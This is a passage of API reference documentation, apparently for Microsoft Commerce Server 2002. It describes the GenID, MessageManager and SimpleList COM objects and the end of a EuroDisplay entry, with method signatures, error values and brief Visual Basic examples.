A Double (8-byte floating point number) that contains the rate at which to convert the base currency into the alternate currency. For example, if the base currency is Swiss Francs which are exchanged at a rate of 1 SF = 2.1 Euros, and the alternate currency is Euro then this parameter will have a value of 2.1.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The correct display of decimal places is dependent upon registry settings. For example, to ensure that 2 decimal places are displayed as in $ 1.08, in the Registry editor, you must ensure that the HKEY_USERS\DEFAULT\Control Panel\International\iCurrDigits value is set to 2.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oEuroDisp is a Commerce.EuroDisplay object
' In this example, the Base Currency symbol string
' is "$" and the Base locale identifier is 1033; the Alt
' Currency symbol string is "DM"; the Base locale identifier
'  is 1037, and the conversion rate is $ 1 = 2.3 DM.

oEuroDisp.Initialize"$", 1033, "DM", 1037, 2.3

See Also

[C++] EuroDisplay Object

[Visual Basic] EuroDisplay Object


GenID Object [C++]

GenID Object [Visual Basic]

Use this object to generate globally unique identifiers (GUID), or to create and maintain multiple, global sequential counters that are persisted in a database. A global counter is one that can work across multiple computers.

ProgID: | Commerce.GenID (Externally creatable)
COM Class Name: | GenID
Type Library Name: | Microsoft Commerce 2002 GenID Type Library
DLL Name: | GenID.dll
Threading Model: | Both
[C++]
COM Interface Name: | IGenID
Interface ID Constant: | IID_IGenID
Header File: | genid.h
[C++]

In C++, use the IGenID interface to access the methods of the GenID object.

Methods

[C++]
Method | Description
GenBase5GUIDString | Generates a base5 GUID string.
GenGUIDString | Generates a GUID string.
GetCounterValue | Retrieves the value of the specified counter and then increments the counter.
Initialize | Connects the GenID object to the database that stores the table of counters.
InitializeCounter | Initializes a new counter or resets an existing counter.
[Visual Basic]
Method | Description
GenBase5GUIDString | Generates a base5 GUID string.
GenGUIDString | Generates a GUID string.
GetCounterValue | Retrieves the value of the specified counter and then increments the counter.
Initialize | Connects the GenID object to the database that stores the table of counters.
InitializeCounter | Initializes a new counter or resets an existing counter.

Remarks

To create a GUID using Visual Basic .NET or C#, use System.Guid.


IGenID Methods [C++]

GenID Methods [Visual Basic]

Methods

[C++]
Method | Description
GenBase5GUIDString | Generates a base5 GUID string.
GenGUIDString | Generates a GUID string.
GetCounterValue | Retrieves the value of the specified counter and then increments the counter.
Initialize | Connects the GenID object to the database that stores the table of counters.
InitializeCounter | Initializes a new counter or resets an existing counter.
[Visual Basic]
Method | Description
GenBase5GUIDString | Generates a base5 GUID string.
GenGUIDString | Generates a GUID string.
GetCounterValue | Retrieves the value of the specified counter and then increments the counter.
Initialize | Connects the GenID object to the database that stores the table of counters.
InitializeCounter | Initializes a new counter or resets an existing counter.


IGenID::GenBase5GUIDString Method [C++]

GenID.GenBase5GUIDString Method [Visual Basic]

Use this method to generate a base5 Globally Unique Identifier (GUID) string.

Definition

[C++]
HRESULT IGenID::GenBase5GUIDString(
  BSTR* pbstrBase5GuidString
);
[Visual Basic]
Function GenBase5GUIDString() As String

Parameters

pbstrBase5GuidString [C++]
[out, retval] A pointer to a BSTR used to return the base5 GUID string.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the base5 GUID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

A base5 GUID is used to store a slightly more compact version of the traditional GUID. The 128 binary digits are divided into groups of 5 instead of 4 with each group represented by the characters 0-9, and 22 characters of the alphabet. This results in a 26-digit representation for the GUID rather than the customary 32-digit representation.

[C++]

The pbstrBase5GuidString parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GenID Object

[Visual Basic] GenID Object


IGenID::GenGUIDString Method [C++]

GenID.GenGUIDString Method [Visual Basic]

Use this method to generate a Globally Unique Identifier (GUID) string.

Definition

[C++]
HRESULT IGenID::GenGUIDString(
  BSTR* pbstrGUID
);
[Visual Basic]
Function GenGUIDString() As String

Parameters

pbstrGUID [C++]
[out, retval] A pointer to a BSTR used to return the GUID.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the GUID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++]

The pbstrGUID parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] GenID Object

[Visual Basic] GenID Object


IGenID::GetCounterValue Method [C++]

GenID.GetCounterValue Method [Visual Basic]

Use this method to retrieve and increment the value stored in the specified counter.

Definition

[C++]
HRESULT IGenID::GetCounterValue(
  BSTR bstrCounterName,
  long cDigits,
  BSTR* pbstrCounterValue
);
[Visual Basic]
Function GetCounterValue(
  bstrCounterName As String,
  cDigits As Long
) As String

Parameters

bstrCounterName [C++]
[in] A BSTR that contains the counter name.
bstrCounterName [Visual Basic]
A String that contains the counter name.
cDigits [C++]
[in] An long that contains the number of digits to return.
cDigits [Visual Basic]
A Long that contains the number of digits to return.
pbstrCounterValue [C++]
[out, retval] A pointer to a BSTR used to return the counter value.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the counter value.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

After the current value of the counter is returned, the counter is incremented by one. Use the InitializeCounter method to reset the counter.

If the value of the counter is less than the number of digits requested, the value is left padded with zeroes.

The Initialize method must be called before calling the GetCounterValue method.

[C++]

The pbstrCounterValue parameter contains valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' sCounterValue is a String
' oGenID is a Commerce GenID object
' The value stored in the counter is 285.

sCounterValue = oGenID.GetCounterValue("OrderIDCounter", 4)

' sCounterValue = 0285
' The value now stored in the OrderIDCounter is 286.

See Also

[C++] GenID Object

[Visual Basic] GenID Object


IGenID::Initialize Method [C++]

GenID.Initialize Method [Visual Basic]

Use this method to connect the GenID object to the database that stores the table of counters.

Definition

[C++]
HRESULT IGenID::Initialize(
  BSTR bstrDBConnectionString,
  long cBlockSizeHint
);
[Visual Basic]
Sub Initialize(
  bstrDBConnectionString As String,
  Optional cBlockSizeHint As Long
)

Parameters

bstrDBConnectionString [C++]
[in] A BSTR that contains the connection information to the database.
bstrDBConnectionString [Visual Basic]
A String that contains the connection information to the database.
cBlockSizeHint [C++]
[in, optional, defaultvalue (1)] Not implemented, leave blank.
cBlockSizeHint [Visual Basic]
Not implemented, leave blank.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This method must be called before calling the GetCounterValue and InitializeCounter methods.

The connection string may be obtained through the SiteConfigReadOnly object or through the Commerce Server Manager console from the connstr_db_Transactions property under Commerce Server Manager\Commerce Sites\<site name>\Site Resources\Transactions.

[Visual Basic]

Example

' oGenID is a Commerce GenID object

' Connect using an explicit connection string.

oGenID.Initialize "Provider=SQLOLEDB;Data Source=server;" _
 & "Integrated Security='SSPI';Initial Catalog=Retail_commerce"

' Connect using a string retrieved from the SiteConfigReadOnly object.
' sConn is a String, oSCRO is an initialized SiteConfigReadOnly object

sConn = oSCRO.Fields("Transactions").Value.Fields("connstr_db_Transactions").Value
oGenID.Initialize sConn

See Also

[C++] GenID Object

[Visual Basic] GenID Object


IGenID::InitializeCounter Method [C++]

GenID.InitializeCounter Method [Visual Basic]

Use this method to create or reset a global, sequential counter.

Definition

[C++]
HRESULT IGenID::InitializeCounter(
  BSTR bstrCounterName,
  long dwInitialValue
);
[Visual Basic]
Sub InitializeCounter(
  bstrCounterName As String,
  dwInitialValue As Long
)

Parameters

bstrCounterName [C++]
[in] A BSTR that contains the counter name.
bstrCounterName [Visual Basic]
A String that contains the counter name.
dwInitialValue [C++]
[in] An Integer that contains the initial value of the counter.
dwInitialValue [Visual Basic]
A Long that contains the initial value of the counter.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Any number of counters may be created. If the counter already exists, its value is reset to the specified initial value.

A global counter will work across multiple computers.

The Initialize method must be called before calling the InitializeCounter method.

[C++]

The dwInitialValue parameter contains valid data only if the method completes successfully.

[Visual Basic]

Example

' oGenID is a Commerce GenID object

oGenID.InitializeCounter("OrderCounter", 213)

See Also

[C++] GenID Object

[Visual Basic] GenID Object


MessageManager Object [C++]

MessageManager Object [Visual Basic]

Use this object to store error messages in multiple languages that the Order Processing pipeline (OPP) components use to describe error conditions generated during order processing.

ProgID: | Commerce.MessageManager (Externally creatable)
COM Class Name: | MSCSMessageManager_3_0
Type Library Name: | Commerce -- MSCSAspHelp Type Library
DLL Name: | MSCSAspHelp.dll
Threading Model: | Both
[C++]
COM Interface Name: | IMSCSMessageManager_3_0
Interface ID Constant: | IID_IMSCSMessageManager_3_0
Header File: | commerce.h, mspu_guids.h
[C++]

In C++, use the IMSCSMessageManager_3_0 interface to access the properties and methods of the MessageManager object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
AddLanguage | Adds a new message set to the MessageManager object and associates that message set with a locale.
AddMessage | Adds a new message to the MessageManager object.
GetLocale | Returns the locale for the specified message set.
GetMessage | Returns the message associated with the specified message name constant.
[Visual Basic]
Method | Description
AddLanguage | Adds a new message set to the MessageManager object and associates that message set with a locale.
AddMessage | Adds a new message to the MessageManager object.
GetLocale | Returns the locale for the specified message set.
GetMessage | Returns the message associated with the specified message name constant.

Properties

[C++]
Property | Type | Description
defaultLanguage | BSTR | Specifies the default message set for the MessageManager object. This property is read/write.
[Visual Basic]
Property | Type | Description
defaultLanguage | String | Specifies the default message set for the MessageManager object. This property is read/write.

See Also

Core Objects


IMSCSMessageManager Methods [C++]

MessageManager Methods [Visual Basic]

Methods

[C++]
Method | Description
AddLanguage | Adds a new message set to the MessageManager object and associates that message set with a locale.
AddMessage | Adds a new message to the MessageManager object.
GetLocale | Returns the locale for the specified message set.
GetMessage | Returns the message associated with the specified message name constant.
[Visual Basic]
Method | Description
AddLanguage | Adds a new message set to the MessageManager object and associates that message set with a locale.
AddMessage | Adds a new message to the MessageManager object.
GetLocale | Returns the locale for the specified message set.
GetMessage | Returns the message associated with the specified message name constant.


IMSCSMessageManager_3_0::AddLanguage Method [C++]

MessageManager.AddLanguage Method [Visual Basic]

Use this method to add a message set to the MessageManager object, and associate that message set with a locale. In subsequent calls to MessageManager object methods, the caller needs to identify the message set name, not the locale.

Any number of message sets can be associated with a single locale.

Definition

[C++]
HRESULT IMSCSMessageManager_3_0::AddLanguage(
 BSTR bstrLanguage,
 long Locale
);
[Visual Basic]
Sub AddLanguage(
 bstrLanguage As String,
 Locale As Long
)

Parameters

bstrLanguage [C++]
[in] A BSTR that contains the name for the message set to add to the MessageManager object.
bstrLanguage [Visual Basic]
A String that contains the name for the message set to add to the MessageManager object.
Locale [C++]
[in] A long that uniquely identifies the locale to associate with the added message set.
Locale [Visual Basic]
A Long that uniquely identifies the locale to associate with the added message set.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oMessageManager is a Commerce.MessageManager object
oMessageManager.AddLanguage("usa", 1033)

See Also

[C++] MessageManager Object

[C++] IMSCSMessageManager_3_0::get_DefaultLanguage, put_DefaultLanguage

[C++] IDataFunctions_4_0::get_Locale, put_Locale

[C++] IMSCSMessageManager_3_0::GetMessage

[Visual Basic] MessageManager Object

[Visual Basic] MessageManager.DefaultLanguage

[Visual Basic] DataFunctions.Locale

[Visual Basic] MessageManager.GetMessage


IMSCSMessageManager_3_0::AddMessage Method [C++]

MessageManager.AddMessage Method [Visual Basic]

Use this method to add a message to the MessageManager object.

Definition

[C++]
HRESULT IMSCSMessageManager_3_0::AddMessage(
 BSTR bstrName,
 BSTR bstrMessage,
 VARIANT vtLanguage
);
[Visual Basic]
Sub AddMessage(
 bstrName As String,
 bstrMessage As String,
 vtLanguage As Variant
)

Parameters

bstrName [C++]
[in] A BSTR that contains the message name constant, which is a string that identifies the message to add. For a list of common messages and their constant names, see the Remarks section.
bstrName [Visual Basic]
A String that contains the message name constant, which is a string that identifies the message to add. For a list of common messages and their constant names, see the Remarks section.
bstrMessage [C++]
[in] A BSTR that contains the text of the message to add.
bstrMessage [Visual Basic]
A String that contains the text of the message to add.
vtLanguage [C++]
[in] A VARIANT that contains the language name with which to associate the message. This value, if specified, must be a language name added through a previous call to the AddLanguage method. If this parameter is not supplied, or is NULL, the language specified in the DefaultLanguage property of the MessageManager object is used.
vtLanguage [Visual Basic]
A Variant that contains the language name with which to associate the message. This value, if specified, must be a language name added through a previous call to the AddLanguage method. If this parameter is not supplied, the language specified in the DefaultLanguage property of the MessageManager object is used.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The following table lists the messages that are used by the default implementation of the Order Processing pipline (OPP), showing the message name constant expected by theOOP components that use these messages.

Message name constant | Used by OPP component | Added to this collection under this condition
pur_badplacedprice | RequiredItemAdjustPrice | _Basket_Errors when the price of an item does not correspond to the price contained in the order form
pur_badhandling | RequiredHandling | _Purchase_Errors when the handling cost for an order cannot be computed
pur_badpayment | RequiredPayment | _Purchase_Errors when authentication code (_payment_auth_code) is not set
pur_badshipping | RequiredShipping | _Purchase_Errors when the shipping costs for an order cannot be computed
pur_badsku | RequiredProdInfo | _Basket_Errors when a stock-keeping unit (SKU) in the order form references an item that is not contained in the inventory for the site
pur_badtax | RequiredTax | _Purchase_Errors when the tax on a purchase cannot be computed
pur_badverify | RequiredTotal | _Purchase_Errors when the data stored by the ProcessVerifyWith method does not match the original data in the order form
pur_noitems | RequiredOrderCheck | _Purchase_Errors when there are no items in the order form
pur_out_of_stock | FlagInventory, LocalInventory | _Purchase_Errors when an item referenced in the order form is out of stock

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oMessageManager is a Commerce.MessageManager object
oMessageManager.AddMessage("pur_out_of_stock", _
    "At least one item is out of stock.")

See Also

[C++] MessageManager Object

[C++] IMSCSMessageManager_3_0::get_DefaultLanguage, put_DefaultLanguage

[C++] IMSCSMessageManager_3_0::GetMessage

[Visual Basic] MessageManager Object

[Visual Basic] MessageManager.DefaultLanguage

[Visual Basic] MessageManager.GetMessage


IMSCSMessageManager_3_0::GetLocale Method [C++]

MessageManager.GetLocale Method [Visual Basic]

Use this method to return a number that identifies the locale for the specified message set.

Definition

[C++]
HRESULT IMSCSMessageManager_3_0::GetLocale(
 VARIANT vtLanguage,
 long* pLocale
);
[Visual Basic]
Function GetLocale(
 vtLanguage As Variant
) As Long

Parameters

vtLanguage [C++]
[in] A VARIANT that contains the name of the message set for which you want to retrieve the locale. This message set must have been added to the MessageManager object through a previous call to the AddLanguage method.
vtLanguage [Visual Basic]
A Variant that contains the name of the message set for which you want to retrieve the locale. This message set must have been added to the MessageManager object through a previous call to the AddLanguage method.
pLocale [C++]
[out, retval] A pointer to a long used to identify the locale for the specified message set.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Long used to identify the locale for the specified message set.

Error Values

[C++] This property returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pLocale parameter points to valid data only if the method returns successfully.

Like the GetMessage method, the GetLocale method is usually not called from within a site. Instead, it is used by the pipeline component to retrieve the locale for a message that describes an error that the component has encountered.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oMessageManager is a Commerce.MessageManager object
oMessageManager.GetLocale("us")

See Also

[C++] MessageManager Object

[C++] IMSCSMessageManager_3_0::GetMessage

[C++] IMSCSMessageManager_3_0::AddLanguage

[Visual Basic] MessageManager Object

[Visual Basic] MessageManager.GetMessage

[Visual Basic] MessageManager.AddLanguage


IMSCSMessageManager_3_0::GetMessage Method [C++]

MessageManager.GetMessage Method [Visual Basic]

Use this method to return the text of the specified message.

Definition

[C++]
HRESULT IMSCSMessageManager_3_0::GetMessage(
 BSTR bstrName,
 VARIANT vtLanguage,
 BSTR* Message
);
[Visual Basic]
Function GetMessage(
 bstrName As String,
 vtLanguage As Variant
) As String

Parameters

bstrName [C++]
[in] A BSTR that contains the message constant name of the message to return. This is the name associated with this message when it was added to the MessageManager object through a call to the AddMessage method.
bstrName [Visual Basic]
A String that contains the message constant name of the message to return. This is the name associated with this message when it was added to the MessageManager object through a call to the AddMessage method.
vtLanguage [C++]
[in] A VARIANT that specifies the name of the message set to which the message text belongs. This string specifies a message set that was added to the MessageManager object through a previous call to the AddLanguage method. If this parameter is not specified, or is NULL, the message is returned for the message set identified by the DefaultLanguage property of the MessageManager object.
vtLanguage [Visual Basic]
A Variant that specifies the name of the message set to which the message text belongs. This string specifies a message set that was added to the MessageManager object through a previous call to the AddLanguage method. If this parameter is not specified, or is NULL, the message is returned for the message set identified by the DefaultLanguage property of the MessageManager object.
Message [C++]
[out, retval] A pointer to a BSTR used to return the text of the specified message.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String Variant that contains the text of the specified error message.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The Message parameter points to valid data only if the method returns successfully.

The GetMessage method is seldom called from within a site. Instead, it is used by pipeline components to retrieve messages that describe errors that have occurred.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oMessageManager is a Commerce.MessageManager object
oMessageManager.GetMessage("pur_out_of_stock", "us")

See Also

[C++] MessageManager Object

[C++] IMSCSMessageManager_3_0::AddLanguage

[C++] IMSCSMessageManager_3_0::GetLocale

[Visual Basic] MessageManager Object

[Visual Basic] MessageManager.AddLanguage

[Visual Basic] MessageManager.GetLocale


IMSCSMessageManager Properties [C++]

MessageManager Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
defaultLanguage | BSTR | Specifies the default message set for the MessageManager object. This property is read/write.
[Visual Basic]
Property | Type | Description
defaultLanguage | String | Specifies the default message set for the MessageManager object. This property is read/write.


IMSCSMessageManager_3_0::get_DefaultLanguage, put_DefaultLanguage Property [C++]

MessageManager.DefaultLanguage Property [Visual Basic]

Use the DefaultLanguage property to specify the default message set for the MessageManager object. When you use the GetMessage method, or use the AddMessage method to add messages to the MessageManager object, without specifying a message set for those messages, then the messages are associated with the message set specified in this property.

Definition

[C++]

Get method:

HRESULT IMSCSMessageManager_3_0::get_defaultLanguage(
 BSTR* defaultLanguage
);

Put method:

HRESULT IMSCSMessageManager_3_0::put_defaultLanguage(
 BSTR defaultLanguage
);
[Visual Basic]
Property DefaultLanguage As String

Parameters

defaultLanguage [C++]
[in] When putting the property, a BSTR that contains the default language.
[out, retval] When getting the property, a BSTR used to return the default language.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The defaultLanguage parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] MessageManager Object

[C++] IMSCSMessageManager_3_0::GetLocale

[Visual Basic] MessageManager Object

[Visual Basic] MessageManager.GetLocale


SimpleList Object [C++]

SimpleList Object [Visual Basic]

Use this object to create an array of variants that supports enumeration.

ProgID: | Commerce.SimpleList (Externally creatable)
COM Class Name: | CSimpleList
Type Library Name: | Microsoft Commerce 2002 Core Components Type Library
DLL Name: | MscsCore.dll
Threading Model: | Both
[C++]
COM Interface Name: | ISimpleList
Interface ID Constant: | IID_ISimpleList
Header File: | commerce.h, mspu_guids.h
[C++]

In C++, use the ISimpleList interface to access the properties and methods of the SimpleList object.

Methods

[C++]
Method | Description
Add | Adds the specified item to a SimpleList object.
Delete | Deletes a specified item from the SimpleList object.
[Visual Basic]
Method | Description
Add | Adds the specified item to a SimpleList object.
Delete | Deletes a specified item from the SimpleList object.

Properties

[C++]
Property | Type | Description
Count | long | Returns the number of items in the SimpleList object. This property is read-only.
Item | VARIANT | Stores an item of the SimpleList object. This property is read/write.
[Visual Basic]
Property | Type | Description
Count | Long | Stores the number of items in the SimpleList object. This property is read-only.
Item | Variant | Stores an item of the SimpleList object. This property is read/write.

See Also

General Purpose Objects

[C++] Dictionary Object

[Visual Basic] Dictionary Object


ISimpleList Methods [C++]

SimpleList Methods [Visual Basic]

Methods

[C++]
Method | Description
Add | Adds the specified item to a SimpleList object.
Delete | Deletes a specified item from the SimpleList object.
[Visual Basic]
Method | Description
Add | Adds the specified item to a SimpleList object.
Delete | Deletes a specified item from the SimpleList object.


ISimpleList::Add Method [C++]

SimpleList.Add Method [Visual Basic]

Use this method to add the specified item to this SimpleList object.

Definition

[C++]
HRESULT ISimpleList::Add(
 VARIANT* pVar
);
[Visual Basic]
Sub Add(
 pVar As Variant
)

Parameters

pVar [C++]
[in] A pointer to a VARIANT to add to the SimpleList object.
pVar [Visual Basic]
A Variant to add to the SimpleList object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' The following example adds the string "Hello World" to the oSimpleList
' object instance
' oSimpleList is a Commerce SimpleList object
oSimpleList.Add("Hello World")

See Also

[C++] SimpleList Object

[C++] ISimpleList::Delete

[Visual Basic] SimpleList Object

[Visual Basic] SimpleList.Delete


ISimpleList::Delete Method [C++]

SimpleList.Delete Method [Visual Basic]

Use this method to delete the specified item from the SimpleList object.

Definition

[C++]
HRESULT ISimpleList::Delete(
 long Index
);
[Visual Basic]
Sub Delete(
 Index As Long
)

Parameters

Index [C++]
[in] A long that contains the index value of the item to delete.
Index [Visual Basic]
A Long that contains the index value of the item to delete.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Description
DISP_E_BADINDEX | The Index parameter references an out-of-range value. This means that Index contains a value either larger than the SimpleList or less than zero.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' The following example deletes the SimpleList item at index 1008
' oSimpleList is a Commerce SimpleList object
oSimpleList.Delete(1008)

See Also

[C++] SimpleList Object

[C++] ISimpleList::Add

[C++] ISimpleList::get_Count

[Visual Basic] SimpleList Object

[Visual Basic] SimpleList.Add

[Visual Basic] SimpleList.Count


ISimpleList Properties [C++]

SimpleList Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Count | long | Returns the number of items in the SimpleList object. This property is read-only.
Item | VARIANT | Stores an item of the SimpleList object. This property is read/write.
[Visual Basic]
Property | Type | Description
Count | Long | Stores the number of items in the SimpleList object. This property is read-only.
Item | Variant | Stores an item of the SimpleList object. This property is read/write.


ISimpleList::get_Count Property [C++]

SimpleList.Count Property [Visual Basic]

The Count property is a read-only long that returns the number of items in the SimpleList object.

Definition

[C++]
HRESULT ISimpleList::get_Count(
 long* Count
);
[Visual Basic]
Property Count As Long

Parameters

Count [C++]
[out, retval] A pointer to a long used to return the number of items in the SimpleList object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

